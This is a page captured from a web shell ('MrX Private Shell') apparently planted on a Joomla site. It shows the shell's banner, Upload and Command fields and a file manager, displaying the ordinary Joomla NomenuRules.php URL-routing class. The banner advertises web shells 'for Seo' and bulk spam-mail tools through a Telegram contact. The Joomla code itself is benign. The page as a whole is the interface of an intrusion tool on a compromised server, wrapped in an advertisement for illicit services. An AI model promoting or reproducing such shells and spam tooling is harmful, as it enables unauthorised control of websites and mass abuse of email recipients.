__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Component\Router\Rules;

use Joomla\CMS\Component\Router\RouterView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Rule to process URLs without a menu item
 *
 * @since  3.4
 */
class NomenuRules implements RulesInterface
{
    /**
     * Router this rule belongs to
     *
     * @var RouterView
     * @since 3.4
     */
    protected $router;

    /**
     * Class constructor.
     *
     * @param   RouterView  $router  Router this rule belongs to
     *
     * @since   3.4
     */
    public function __construct(RouterView $router)
    {
        $this->router = $router;
    }

    /**
     * Dummy method to fulfil the interface requirements
     *
     * @param   array  &$query  The query array to process
     *
     * @return  void
     *
     * @since   3.4
     * @codeCoverageIgnore
     */
    public function preprocess(&$query)
    {
    }

    /**
     * Parse a menu-less URL
     *
     * @param   array  &$segments  The URL segments to parse
     * @param   array  &$vars      The vars that result from the segments
     *
     * @return  void
     *
     * @since   3.4
     */
    public function parse(&$segments, &$vars)
    {
        $active = $this->router->menu->getActive();

        if (!\is_object($active)) {
            $views = $this->router->getViews();

            if (isset($views[$segments[0]])) {
                $vars['view'] = array_shift($segments);
                $view         = $views[$vars['view']];

                if (isset($view->key, $segments[0])) {
                    if (\is_callable([$this->router, 'get' . ucfirst($view->name) . 'Id'])) {
                        $input = $this->router->app->getInput();
                        if ($view->parent_key && $input->get($view->parent_key)) {
                            $vars[$view->parent->key] = $input->get($view->parent_key);
                            $vars[$view->parent_key]  = $input->get($view->parent_key);
                        }

                        if ($view->nestable) {
                            $vars[$view->key] = 0;

                            while (\count($segments)) {
                                $segment = array_shift($segments);
                                $result  = \call_user_func_array([$this->router, 'get' . ucfirst($view->name) . 'Id'], [$segment, $vars]);

                                if (!$result) {
                                    array_unshift($segments, $segment);
                                    break;
                                }

                                $vars[$view->key] = preg_replace('/-/', ':', $result, 1);
                            }
                        } else {
                            $segment = array_shift($segments);
                            $result  = \call_user_func_array([$this->router, 'get' . ucfirst($view->name) . 'Id'], [$segment, $vars]);

                            $vars[$view->key] = preg_replace('/-/', ':', $result, 1);
                        }
                    } else {
                        $vars[$view->key] = preg_replace('/-/', ':', array_shift($segments), 1);
                    }
                }
            }
        }
    }

    /**
     * Build a menu-less URL
     *
     * @param   array  &$query     The vars that should be converted
     * @param   array  &$segments  The URL segments to create
     *
     * @return  void
     *
     * @since   3.4
     */
    public function build(&$query, &$segments)
    {
        $menu_found = false;

        if (isset($query['Itemid'])) {
            $item = $this->router->menu->getItem($query['Itemid']);

            if (
                !isset($query['option'])
                || ($item && isset($item->query['option']) && $item->query['option'] === $query['option'])
            ) {
                $menu_found = true;
            }
        }

        if (!$menu_found && isset($query['view'])) {
            $views = $this->router->getViews();

            if (isset($views[$query['view']])) {
                $view       = $views[$query['view']];
                $segments[] = $query['view'];

                if ($view->key && isset($query[$view->key])) {
                    if (\is_callable([$this->router, 'get' . ucfirst($view->name) . 'Segment'])) {
                        $result = \call_user_func_array([$this->router, 'get' . ucfirst($view->name) . 'Segment'], [$query[$view->key], $query]);

                        if ($view->nestable) {
                            array_pop($result);

                            while (\count($result)) {
                                $segments[] = str_replace(':', '-', array_pop($result));
                            }
                        } else {
                            $segments[] = str_replace(':', '-', array_pop($result));
                        }
                    } else {
                        $segments[] = str_replace(':', '-', $query[$view->key]);
                    }

                    unset($query[$views[$query['view']]->key]);
                }

                unset($query['view']);
            }
        }
    }
}

Filemanager

Name Type Size Permission Actions
MenuRules.php File 9.22 KB 0664
NomenuRules.php File 5.28 KB 0664
PreprocessRules.php File 4.58 KB 0664
RulesInterface.php File 1.77 KB 0664
StandardRules.php File 8.95 KB 0664
Filemanager